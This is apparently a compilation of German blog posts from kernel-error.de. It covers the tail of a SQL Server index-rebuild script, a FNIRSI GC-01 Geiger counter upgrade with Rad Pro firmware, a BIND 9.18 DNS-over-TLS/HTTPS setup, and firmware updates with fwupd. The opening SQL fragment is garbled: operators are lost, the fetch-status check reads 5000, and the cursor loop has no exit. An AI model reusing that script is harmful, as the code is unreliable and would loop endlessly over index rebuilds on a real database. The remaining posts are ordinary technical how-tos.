    (f.avg_page_space_used_in_percent  50 and f.avg_fragmentation_in_percent > 15.0) 
    or (f.page_count > 10 and f.avg_fragmentation_in_percent > 80.0) 
 
PRINT 'Number of indexes to rebuild: ' + cast(@@ROWCOUNT as nvarchar(20)) 
 
PRINT 'Estimating fragmentation: End. ' + convert(nvarchar, getdate(), 121) 
 
SELECT @numpages = sum(ps.used_page_count) 
FROM 
    @work_to_do AS fi 
    INNER JOIN sys.indexes AS i ON fi.objectid = i.object_id and fi.indexid = i.index_id 
    INNER JOIN sys.dm_db_partition_stats AS ps on i.object_id = ps.object_id and i.index_id = ps.index_id 
 
-- Declare the cursor for the list of indexes to be processed. 
DECLARE curIndexes CURSOR FOR SELECT * FROM @work_to_do 
 
-- Open the cursor. 
OPEN curIndexes 
 
-- Loop through the indexes 
WHILE (1=1) 
BEGIN 
    FETCH NEXT FROM curIndexes 
    INTO @objectid, @indexid, @density, @fragmentation, @numrows; 
    IF @@FETCH_STATUS = 5000 AND @fillfactorset = 0 
        SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD WITH (FILLFACTOR = 90)'; 
    ELSE 
        SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD'; 
    PRINT convert(nvarchar, getdate(), 121) + N' Executing: ' + @command; 
    EXEC (@command); 
    PRINT convert(nvarchar, getdate(), 121) + N' Done.'; 
END 
 
-- Close and deallocate the cursor. 
CLOSE curIndexes; 
DEALLOCATE curIndexes; 
 
 
IF EXISTS (SELECT * FROM @work_to_do) 
BEGIN 
    PRINT 'Estimated number of pages in fragmented indexes: ' + cast(@numpages as nvarchar(20)) 
    SELECT @numpages = @numpages - sum(ps.used_page_count) 
    FROM 
        @work_to_do AS fi 
        INNER JOIN sys.indexes AS i ON fi.objectid = i.object_id and fi.indexid = i.index_id 
        INNER JOIN sys.dm_db_partition_stats AS ps on i.object_id = ps.object_id and i.index_id = ps.index_id 
 
    PRINT 'Estimated number of pages freed: ' + cast(@numpages as nvarchar(20)) 
END 
GO 
 
 
--Update all statistics 
PRINT 'Updating all statistics.' + convert(nvarchar, getdate(), 121)  
EXEC sp_updatestats 
PRINT 'Done updating statistics.' + convert(nvarchar, getdate(), 121)  
GO
```

Meist scheint eine Kombination auf verschiedenen Dingen zu helfen. Bisher hat mir zumindest immer irgendetwas davon geholfen. Auch wenn ich dafür einige Zeit in Suchmaschinen verschwenden musste. Dieses ist also eher so etwas wie eine Sammlung gefundener Dinge 😉

Fragen? Dann fragen…

---

## 5. FNIRSI GC-01 Upgrade: Akku, Zählrohr & Rad Pro Firmware installieren​

**Veröffentlicht:** 2024-10-13
**Permalink:** https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/

Bei meinen letzten Einkaufstouren auf Aliexpress ist mir immer mal wieder ein [FNIRSI GC-01 Nuclear Radiation Detector](https://s.click.aliexpress.com/e/_DEdHS8z), sprich Geigerzähler vorgeschlagen worden. Was soll ich sagen, japp hat funktioniert, irgendwann habe ich das Teil tatsächlich einfach für knapp 30€ mit im Einkaufswagen gehabt. Nach ein paar Spielerreien ging mir aber schnell die Batterielebensdauer auf die Nerven, denn das Teil war im grunde immer leer. Da mich, wie immer, brennend interessiert, was denn da überhaupt verbaut ist, habe ich es mir etwas näher angesehen und schnell festgestellt, dass man noch ein paar Veränderungen vornehmen kann. Darum soll es in diesem Beitrag gehen.

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-PCB-01-scaled.jpg)

Das Gerät kam mit einem J613 Geiger-Müller-Zählrohr. Dieses ist in der Lage Beta- und Gamma-Strahlung zu erfassen. J613 braucht eine Betriebsspannung von 300 bis 400 Volt und ist ganz gut darin auch niedrige Stralungsniveaus zu messen. Die Platine des GC-01 ist recht simpel aufgebaut. Es hat ein kleines PSU, welches vom USB-C Anschluss oder vom 3.7V Akku eine Spannung von ca. 130V AC aufbaut (ich hab den Teil mal mit einer 1 markiert). Dieses fütter dann einen 3-Stage Multiplier (2) und schon kommen die knapp 400V zusammen. Eine kleine [CR1220](https://amzn.to/4eG9SsP) Knopfzellenbatterie sorgt dafür, dass der Speicher für Uhrzeit und Messwerte gehalten wird. Dann ist da noch ein kleiner CH32F103 (3). Das kann aber auch mal ein ARM MCU sein, kommt auf die Version an. Der eigentliche 3.7V Akku kommt bei mir mit 1100mAh, also knapp 4Wh, was die geringe Laufzeit erklären sollte. Es gibt noch einen kleinen Piezo Tongeber, welcher für die für einen Geigerzähler bekannten Knackgeräusche sorgt, wenn ein Teilchen „gezählt“ wird. Nahe der MCU sind noch vier „Löcher“ in der Platine, welche als JP1 beschriftet sind. Wie sich heraus stellte, ist dieses ein ST-Link Connector und von link nach rechts sind es die Pins +3.3V, SWDIO, SWCLK, GND. Das wird etwas später noch spannend.

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-ST-LINK-scaled.jpg)

Was mir ebenfalls recht schnell aufgefallen ist, ist dass scheinbar nicht jedes Teilchen ein hörbares Knacken auslöst. Zwar findet sich über dem Display noch eine kleine rote LED, welche passen zu den Teilchen aufblinkt aber halt nicht das Knacken. Der Soundgeber scheint auschließlich per Firmware angesteuert zu werden und die Entwickler haben anders entschieden. 😉

Im Internet habe ich ein paar Modifikation per Widerstand, Transistor usw. gesehen um eine Verbindung zwischen LED und Piezo Soundgeber zu löten, damit diese auch immer Geräusche von sich gibt. Ich bin aber bei Firmware hängen geblieben. Zum einen gibt es eine doch leistungsstarke MCU, dann noch eine USB-C Schnittstelle, bei welcher die Datenleitungen bis zur MCU reichen und natürlich noch den ST-Link.

Schalte ich das Gerät aus, schließe es per USB-C an meinen Computer an und schalte es ein taucht ein Laufwerk mit einem leeren Textfile auf. Irgendwas muss da also gehen. Da war nun wieder der Punkt an welchem ich nicht los lassen konnte.

Die [CR1220](https://amzn.to/4eG9SsP) kam schon etwas verbraucht an und wurde von mir gegen eine frische ersetzt. Für den kleinen 1100mAh Akku hat sich ebenfalls ein günstiger und vor allem ins Gehäuse [passender Ersatz mit immerhin 2200mAh](https://amzn.to/3Nmq1YD) gefunden. Dieser sollte die Autonomiezeit fast verdoppeln. Das J613 ist im grunde sehr gut für seinen Zweck, ich hatte da aber noch ein [SBM-20-1](https://www.ebay.de/sch/i.html?_nkw=SBM-20-1) von einem früheren Projekt in meiner Schublade liegen. Das SBM-20-1 braucht eine Betriebsspannung von 380 bis 450V und hat eine sehr ähnliche Bauform. Wenn man die beiden Haltepfosten auslötet, passt die gut rein.

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector mit installiertem SBM-20-1 Zählrohr.]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-with-SBM-20-1-tube-scaled.jpg)

Ebenfalls erfasst es Beta- und Gamma-Strahlung. Es ist zwar bei geringeren Strahlungen nicht gaaanz so genau wie das J613 und das Fenster für Beta-Strahlung ist etwas kleiner aber hey, dafür ist das Ding fast unkaputtbar und wenn ich der Firmware irgendwie mitteilen kann, was ich da eingebaut habe, dann sollte sich Vieles durch berechnungen in der Firmware doch ausgleichen lassen, oder?

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-Akku-scaled.jpg)

**Firmware**….
Ein Datalogger wäre toll, damit ich einfach jeden Tag, jede Stunde oder so kurz den aktuellen Messwert wegschreiben kann. Dann könnte ich über einen laaangen Zeitraum eine Kurve zeichnen. Wenn ich dann noch irgendwie den Stromverbrauch beeinflussen könnte, denn das Display muss ja nicht 24/4 leuchten. Vielleicht noch etwas um die normale Hintergrundstrahlung heraus zu filtern?! So Kleinigkeiten welche mir in der Stock Firmware irgendwie fehlen. Aber vielleicht gibt es ja inzwischen ein Update vom Herstellen oder ich kann da was auslesen und selbst schreiben, mal schauen.

Die Recerche hat mich recht schnell zu einem [GitHub repro gebracht. Rad Pro](https://github.com/Gissio/radpro/blob/main/docs/devices/FNIRSI%20GC-01/install.md), da hat sich schon jemand mit einer alternativen Firmware für verschiedene Geräte beschäftigt. Selbst Dinge über welche ich noch nicht im Ansatz nachgedacht habe, werden dort erfüllt bzw. gelöst. Öhm also was soll ich sagen? Ich hab einfach gemacht, was dort in der sehr überschaubaren Anleitung steht und geht einfach! Naja, fast. der Weg über das USB Laufwerk hat nicht so wirklich funktioniert. Am Ende habe ich einfach kurz eine Stiftleiste für den [ST-Link](https://github.com/Gissio/radpro/blob/main/docs/devices/FNIRSI%20GC-01/install-stlink.md) eingelötet und die neue Firmware über diesen Weg in die MCU gedrückt. Was sich für mich auch irgendwie zuverlässiger anfühlte, vielleicht bin ich da aber auch zu oldschool.

Ein paar Bilder vom Gerät mit der neuen Firmware findet ihr unten.

Viel Spaß beim Basteln und wenn ihr Fragen habt, wie immer einfach fragen.

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Logging]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-11-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - HV profile]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-10-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Background compensation]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-09-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Geiger tube]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-08-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Conversion factor]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-07-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Dose alarm]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-06-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Rate alarm]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-05-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Averaging]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-04-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Units]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-03-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Histroy]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-02-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Instantaneous]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-01-scaled.jpg)

[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Logging][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - HV profile][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Background compensation][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Geiger tube][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Conversion factor][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Dose alarm][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Rate alarm][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Averaging][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Units][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Histroy][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Instantaneous]

## Rad Pro Firmware 3.x – ein deutliches Stück Reife

Wie doch die Zeit vergeht. Inzwischen gibt es eine deutlich neuere Firmware für das FNIRSI GC-01. Aktuell ist Version 3.0.2, verfügbar im offiziellen Rad Pro-Repository: [https://github.com/Gissio/radpro/releases](https://github.com/Gissio/radpro/releases)

Die Installation war bei mir – wie schon bei früheren Versionen – wieder unkompliziert. Allerdings weiterhin nicht über USB-DFU, sondern erneut klassisch über ST-Link, was beim GC-01 inzwischen fast schon erwartbar ist.

Der Ablauf selbst war unspektakulär und funktionierte auf Anhieb:

```
kernel@ErrorWork ~/D/r/fnirsi-gc01_ch32f103r8> sudo ./install.sh
[sudo] password for kernel:
Available language codes: bg cs da de el en es fi fr hr hu it nl no pl pt ro ru sk sl sv tr uk vi
Enter language code for Rad Pro installation: de
../fnirsi-gc01_ch32f103r8/firmware/radpro-fnirsi-gc01_ch32f103r8-de-3.0.2.bin
Backing up old firmware image...
...
** Programming Started **
** Programming Finished **
```

OpenOCD meldet dabei erwartungsgemäß weiterhin die bekannte Warnung zur künftig wegfallenden ST-Link-HLA-Unterstützung. Mit einem halbwegs aktuellen ST-Link-Firmwarestand ist das aktuell aber noch unkritisch.

Nach dem Flashen lief das Gerät sofort stabil, alle bisherigen Einstellungen wurden korrekt übernommen. Naja, fast. Den Zählrohrtypen musste ich neu setzten.

## Was hat sich geändert? – Changelog ab Version 2.x

Gerade mit Version 3.0 ist funktional einiges dazugekommen. Nachfolgend der relevante Changelog ab Version 2.0, zusammengefasst und technisch eingeordnet.

**Version 3.0.2**

- Fix für Geräte, die nach einem Software-Update nicht mehr korrekt reagierten

- Web-Installer-Bugfix für Bosean FS-5000

- Alarm- und Sprachfunktionen beim GQ GMC-800 wiederhergestellt

**Version 3.0.1**

- Entfernte Ladezustandsanzeige beim FNIRSI GC-01 (hardwarebedingt nicht zuverlässig)

- Korrekturen an Batterie-Anzeigen auf mehreren Geräten

- Reaktionszeit der Akkuanzeige verbessert

**Version 3.0**
Hier liegt der eigentliche Sprung:

- Unterstützung weiterer Geräte (u. a. GQ GMC-800)

- Mehrsprachige Oberfläche (27 Sprachen, inkl. Deutsch)

- Deutlich erweiterte History-Funktion

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/ ...]

---

## 6. DNS over TLS mit BIND, Stunnel und Android 9: Eigener DoT-Server​

**Veröffentlicht:** 2022-03-18
**Permalink:** https://www.kernel-error.de/2022/03/18/bind-9-18-mit-doh-und-dot/

Die Zeit ging weiter, die Entwicklung bei BIND und DNS ebenfalls. Daher gibt es nun einen [neuen Beitrag](https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/), der das aktuelle Setup mit BIND 9.20 auf FreeBSD 15 beschreibt – inklusive sauberer Trennung von authoritative DNS (Port 53) und öffentlichem Resolver (DoT/DoH) sowie reproduzierbaren CLI-Tests für IPv4 und IPv6. Bitte dort weiterlesen.

Über die Techniken [DoT (DNS over TLS)](https://de.wikipedia.org/wiki/DNS_over_TLS) habe ich bereits im Zusammenhang mit Bind  9.16 [geschrieben](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/). Ebenfalls [DoH (DNS over HTTPS)](https://de.wikipedia.org/wiki/DNS_over_HTTPS) gibt es einen kleinen [Beitrag](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/).

[Bild: Bilder der Bind 9 TLS Konfiguration]

Zu diesem Zeitpunkt bracht [BIND 9 ](https://www.isc.org/bind/)die Unterstützung für DoH und DoT noch nicht selbst mit. Daher waren zu diesem Zeitpunkt noch Umwege über stunnel oder nginx zusammen mit doh-proxy nötig.

[Zum Glück kommt die letzte stable Version 9.18.0 (26. Januar 2022)](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)[ ](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)[mit dem nötigen Support.](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)

```
named now supports securing DNS traffic using Transport Layer Security (TLS). TLS is used by both DNS over TLS (DoT) and DNS over HTTPS (DoH).
```

Warum möchte man noch gleich DoH oder DoT benutzen? Ganz einfach… Über diese Techniken werden DNS Abfragen verschlüsselt übertragen. Dieses ist ein weiterer Schutz davor manipulierte Antworten zu bekommen und selbstverständlich, damit die eigenen DNS Abfragen erst überhaupt nicht mitgelesen werden. Denn wenn von einem Gerät im Netzwerk die DNS Abfrage zu z.B.:  www.tagesschau.de kommt, könnte man davon bereits Dinge ableiten.

Wie die meisten Bind Konfigurationen ist dieses ebenfalls straightforward. Ab Version 9.18 bringt Bind alles Nötige mit. Da wir nun TLS mit dem Bind sprechen möchten, benötigen wir natürlich ein gültiges Zertifikat, wie z.B. beim nginx für seine Webseite.

Ebenfalls sollte man ein paar frische Diffie-Hellmann Parameter generieren:

```
openssl dhparam -out dhparam.pem 4096
```

Die eigentliche bind Konfiguration kann in der named.conf.options geschehen:

```
options {
        [...]
        listen-on port 853 tls local-tls { 37.120.183.220; };
        listen-on-v6 port 853 tls local-tls { 2a03:4000:38:20e::853; };
        listen-on port 443 tls local-tls http default { 37.120.183.220;  };
        listen-on-v6 port 443 tls local-tls http default { 2a03:4000:38:20e::853; };
        [...]
        allow-recursion-on { 127.0.0.0/8; ::1/128; 2a03:4000:38:20e::853; 37.120.183.220; };
        [...]
};
```

Da der bind auf weiteren Ports lauschen soll erweitert man diese für IPv4 und IPv6. Der Default Port für DoH ist dabei 443 und der default Port für DoT ist 853, beides TCP.

*listen-on* sowie listen-on-v6 sind wohl selbsterklärend.
*port* ist der TCP Port und erklärt sich ebenfalls.
*tls* sagt dem Bind das wir tls sprechen möchten.
*local-tls *verweißt auf den gleichnamigen tls Block über welchen man seine TLS Konfiguration vornimmt.
*http* ist für DoH.
*default* gibt den eigentlichen endpoint für die DoH Abfragen an, im default ist es */dns-query*

Da der Server unsere DNS Abfragen erledigen soll, müssen wir ihm dieses noch per *allow-recursion-on* auf den jeweiligen Adressen erlauben.

Als nächstes wird die eigentliche TLS Terminierung konfiguriert (das lässt sich ebenfalls auslagern, wenn gewünscht). Dafür wird der folgende Block, außerhalb der Options Blocks, ergänzt:

```
tls local-tls {
    cert-file "/usr/local/etc/ssl/wild.kernel-error.de/2022/ecp/chain.crt";
    key-file "/usr/local/etc/ssl/wild.kernel-error.de/2022/ecp/http.key";
    dhparam-file "/usr/local/etc/ssl/dhparam.pem";
    protocols { TLSv1.2; TLSv1.3; };
    ciphers "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256";
    prefer-server-ciphers yes;
    session-tickets no;
};
```

*local-tls* ist dabei der name des Blocks. Auf diesen verweisen wir oben.
*cert-file* ist der Pfad zum Zertifikat. Ich habe dort nicht nur das Zertifikat, sondern die gesamte Chain, also mit Intermediate und Root.
*key-file* ist der Pfad zum Key des Zertifikates.
*dhparam-file* ist der Pfad zu den Diffie-Hellman Parametern.
*protocols* definiert die zu verwendenden TLS Protokolle. In diesem Beispiel TLS1.2 sowie TLS1.3.
*ciphers* definiert die zu verwendenden cipher. Es soll ja „sicher“ bleiben.
*prefer-server-ciphers* übermittelt dem Client die Information, in welcher Reihenfolge protokoll/cipher Kombinationen probiert werden sollen um einen Match zu finden. Erst das vermeintlich sicherste und dann immer „schlechter“.
*session-tickets* regelt ob eine Wiederaufnahme von TLS Sessions erlaubt ist oder nicht. Da ich forward secrecy nutzen möchte, ist es deaktiviert.

Damit ist die Konfiguration schon abgeschlossen (Firewall ggf. nicht vergessen!). Also testen….

Ein einfaches Tool dafür ist [dog](https://dns.lookup.dog/), oder natürlich dig aus den bind-tools aber Version 9.18.  Für bind gibt es dann die Optionen +https oder auch +tls

```
dig +https @dns.kernel-error.de www.kernel-error.de A
dig +tls @dns.kernel-error.de www.kernel-error.de A
```

Der gleiche Test mit dog, sieht wie folgt aus:

```
dog www.kernel-error.de --tls "@dns.kernel-error.de"
A www.kernel-error.de. 6h00m00s   148.251.40.23
dog www.kernel-error.de --https "@https://dns.kernel-error.de/dns-query"
A www.kernel-error.de. 6h00m00s   148.251.40.23
```

Das war es auch schon! Viele Spaß mit einem „besseren“ DNS und wenn es noch Fragen gibt, einfach fragen 🙂

---

## 7. Firmware- und BIOS-Updates unter Linux einfach mit fwupd durchführen​

**Veröffentlicht:** 2021-03-03
**Permalink:** https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/

[Bild: Bild vom fwupdmgr update in Aktion.]

Firmware und BIOS Updates müssen hin und wieder sein um Fehler zu beseitigen oder Unterstützung für neuere Komponenten zu erhalten. Dieses unter Linux zu tun, war nicht immer einfach. Oft bieten die Hersteller nur Software für DOS oder vielleicht sogar noch Windows an. Der Support für Linux war eher selten vorhanden und beschränkte sich dabei eher auf Serversysteme. Wenn ich früher an meinem Linux Arbeitsplatz oder Notebook Firmware oder BIOS Updates installieren wollte, musste ich oft eine Festplatte aus der Kiste nehmen, Windows installieren, die nötigen Treiber für die Hardware installieren und mir dann die Herstellertools besorgen, um der Firmware ein Update zu verpassen. So macht es keinen Spaß und ist viel zu aufwendig.

Vor knapp 5 Jahren haben ein paar Gnome Entwickler zusammen mit dem Hersteller Dell mit der Entwicklung an einem Update Tool [*fwupd*](https://fwupd.org/) gestartet. Über dieses Tool gibt es nun die Möglichkeit Firmwareupdates auf einem einheitlichen Weg und über eine einheitliche Basis zu verteilen und zu installieren. Klar steht und fällt es weiterhin mit den Hardware Herstellern. Diese müssen sich nun aber nicht mehr um das eigentliche Tooling und den Support am Betriebssystem Linux kümmern, sondern müssen nur ihre eigentlichen Firmwareupdates in einem [Online-Repository](https://fwupd.org/lvfs/docs/vendors) zur Verfügung stellen.

Jetzt kann jeder Linux Benutzer über einen sehr einfachen Weg Firmware und BIOS Updates einspielen. Für Gnome und KDE gibt es dazu sogar eine GUI, über die CLI geht es genau so einfach.

fwupd kann dabei im Hintergrund als Daemon laufen, täglich nach neuen Firmwareupdates suchen und diese installieren oder zur Installation ankündigen.

Nun möchte ich es mir nicht nehmen lassen, mit euch einen kurzen Ablauf eines solchen Firmwareupdates auf der CLI durchzuführen. Also… Los geht es!

Testgerät dafür ist ein Lenovo ThinkPad, um zu sehen welche Hardware von fwupd erkannt und unterstützt wird, hilft folgender Aufruf:

```
root@errorlap:/home/kernel# fwupdmgr get-devices
20N588101
│
├─Thunderbolt Controller:
│     Device ID:           149dca4a469318aced513ec818b67eeac46753e9
│     Summary:             Unmatched performance for high-speed I/O
│     Current version:     20.00
│     Vendor:              Lenovo (TBT:0x0109)
│     GUIDs:               52265728-359a-574c-9a6a-a23d3b1f952d ← TBT-01091804-native
│                          f117e89e-a75f-5f33-9e8e-c4aded9cbadf ← TBT-01091804-native-controller0-0
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Device stages updates
│   
├─SAMSUNG MZVLB256HB88-000L7:
│     Device ID:           f2759da7fe8e0388c5f3601cb072f837b1070b03
│     Summary:             NVM Express Solid State Drive
│     Current version:     4M2QEXH7
│     Vendor:              Samsung Electronics Co Ltd (NVME:0x144D)
│     Serial Number:       S4ELN88N881038
│     GUIDs:               6e54c992-d302-59ab-b454-2d26ddd63e6d ← NVME\VEN_144D&DEV_A808&REV_00
│                          47335265-a509-51f7-841e-1c94911af66b ← NVME\VEN_144D&DEV_A808
│                          1b3b43f9-e0b0-5978-a89b-6f0866124233 ← SAMSUNG MZVLB256HBHQ-000L7
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Device is usable for the duration of the update
│   
├─System Firmware:
│     Device ID:           6150dd1f7291b0709289ab8a53cc85a17e117ef2
│     Current version:     0.1.65
│     Minimum Version:     0.0.1
│     Vendor:              LENOVO (DMI:LENOVO)
│     GUID:                603baf73-b997-45b5-86b4-2f981a008e18
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Cryptographic hash verification is available
│                          • Device is usable for the duration of the update
│   
├─UEFI Device Firmware:
│     Device ID:           c0649684d1e6688e8147fac95eccb4fdd18d05aa
│     Current version:     192.64.1551
│     Minimum Version:     0.0.1
│     Vendor:              DMI:LENOVO
│     GUID:                2c0665e2-fdbd-495e-b8e4-69d92b9c119a
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Device is usable for the duration of the update
│   
├─UEFI Device Firmware:
│     Device ID:           489f23b2ba9c1adf3e9f9f10598c98ba5c6bba39
│     Current version:     0.1.19
│     Minimum Version:     0.1.19
│     Vendor:              DMI:LENOVO
│     GUID:                38ea6335-29ca-417b-8cd4-6b4e5e866f92
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Device is usable for the duration of the update
│   
└─UEFI Device Firmware:
      Device ID:           88cf266a57697921241cc5f4b412c3f1b5a07780
      Current version:     1.1.8
      Minimum Version:     0.0.1
      Vendor:              DMI:LENOVO
      GUID:                a6634b3a-f446-42f0-a0b2-62c7d4dcb694
      Device Flags:        • Internal device
                           • Updatable
                           • Requires AC power
                           • Needs a reboot after installation
                           • Device is usable for the duration of the update
```

Wie man sehen kann, ist bei diesem Gerät der Support recht weitreichend. Damit fwupd in seinem „Katalog“ überprüfen kann, ob es für eine bestimmte Hardware ein Update gibt, muss man diese kurz aktualisieren. Dieses geht direkt mit einem: *fwupdmgr refresh –force*

Natürlich merkt fwupd auch selbst, wenn sein Datenstand alt ist und bietet ein Update vor der Überprüfung an.

```
root@errorlap:/home/kernel# fwupdmgr get-updates
Firmware metadata has not been updated for 30 days and may not be up to date.

Update now? (Requires internet connection) [y|N]: y
Fetching metadata https://cdn.fwupd.org/downloads/firmware.xml.gz
Downloading…             [***************************************]
Fetching signature https://cdn.fwupd.org/downloads/firmware.xml.gz.asc

Successfully downloaded new metadata: 5 local devices supported
• Thunderbolt Controller has the latest available firmware version
• SAMSUNG MZVLB256HBHQ-000L7 has the latest available firmware version
• UEFI Device Firmware has the latest available firmware version
• UEFI Device Firmware has no available firmware updates
20N588101
│
├─System Firmware:
│ │   Device ID:           6150dd1f7291b0709289ab8a53cc85a17e117ef2
│ │   Current version:     0.1.65
│ │   Minimum Version:     0.0.1
│ │   Vendor:              LENOVO (DMI:LENOVO)
│ │   GUID:                603baf73-b997-45b5-86b4-2f981a008e18
│ │   Device Flags:        • Internal device
│ │                        • Updatable
│ │                        • Requires AC power
│ │                        • Supported on remote server
│ │                        • Needs a reboot after installation
│ │                        • Cryptographic hash verification is available
│ │                        • Device is usable for the duration of the update
│ │ 
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.70
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware Version 1.70
│ │     
│ │     The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │     
│ │     This stable release fixes the following issues:
│ │     
│ │      • Fixed an issue where Setup Settings Capture/Playback Utility (SRSETUP) causes 191 error if Secure Boot Mode is reset to Setup Mode and
│ │     
│ │     Supervisor Password is changed at the same time.
│ │     
│ │      • Fixed an issue where system might hang at POST when Thunderbolt3 Dock Gen2 is attached.
│ │   
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.69
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.69
│ │     
│ │     The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │     
│ │     This stable release fixes the following issues:
│ │     
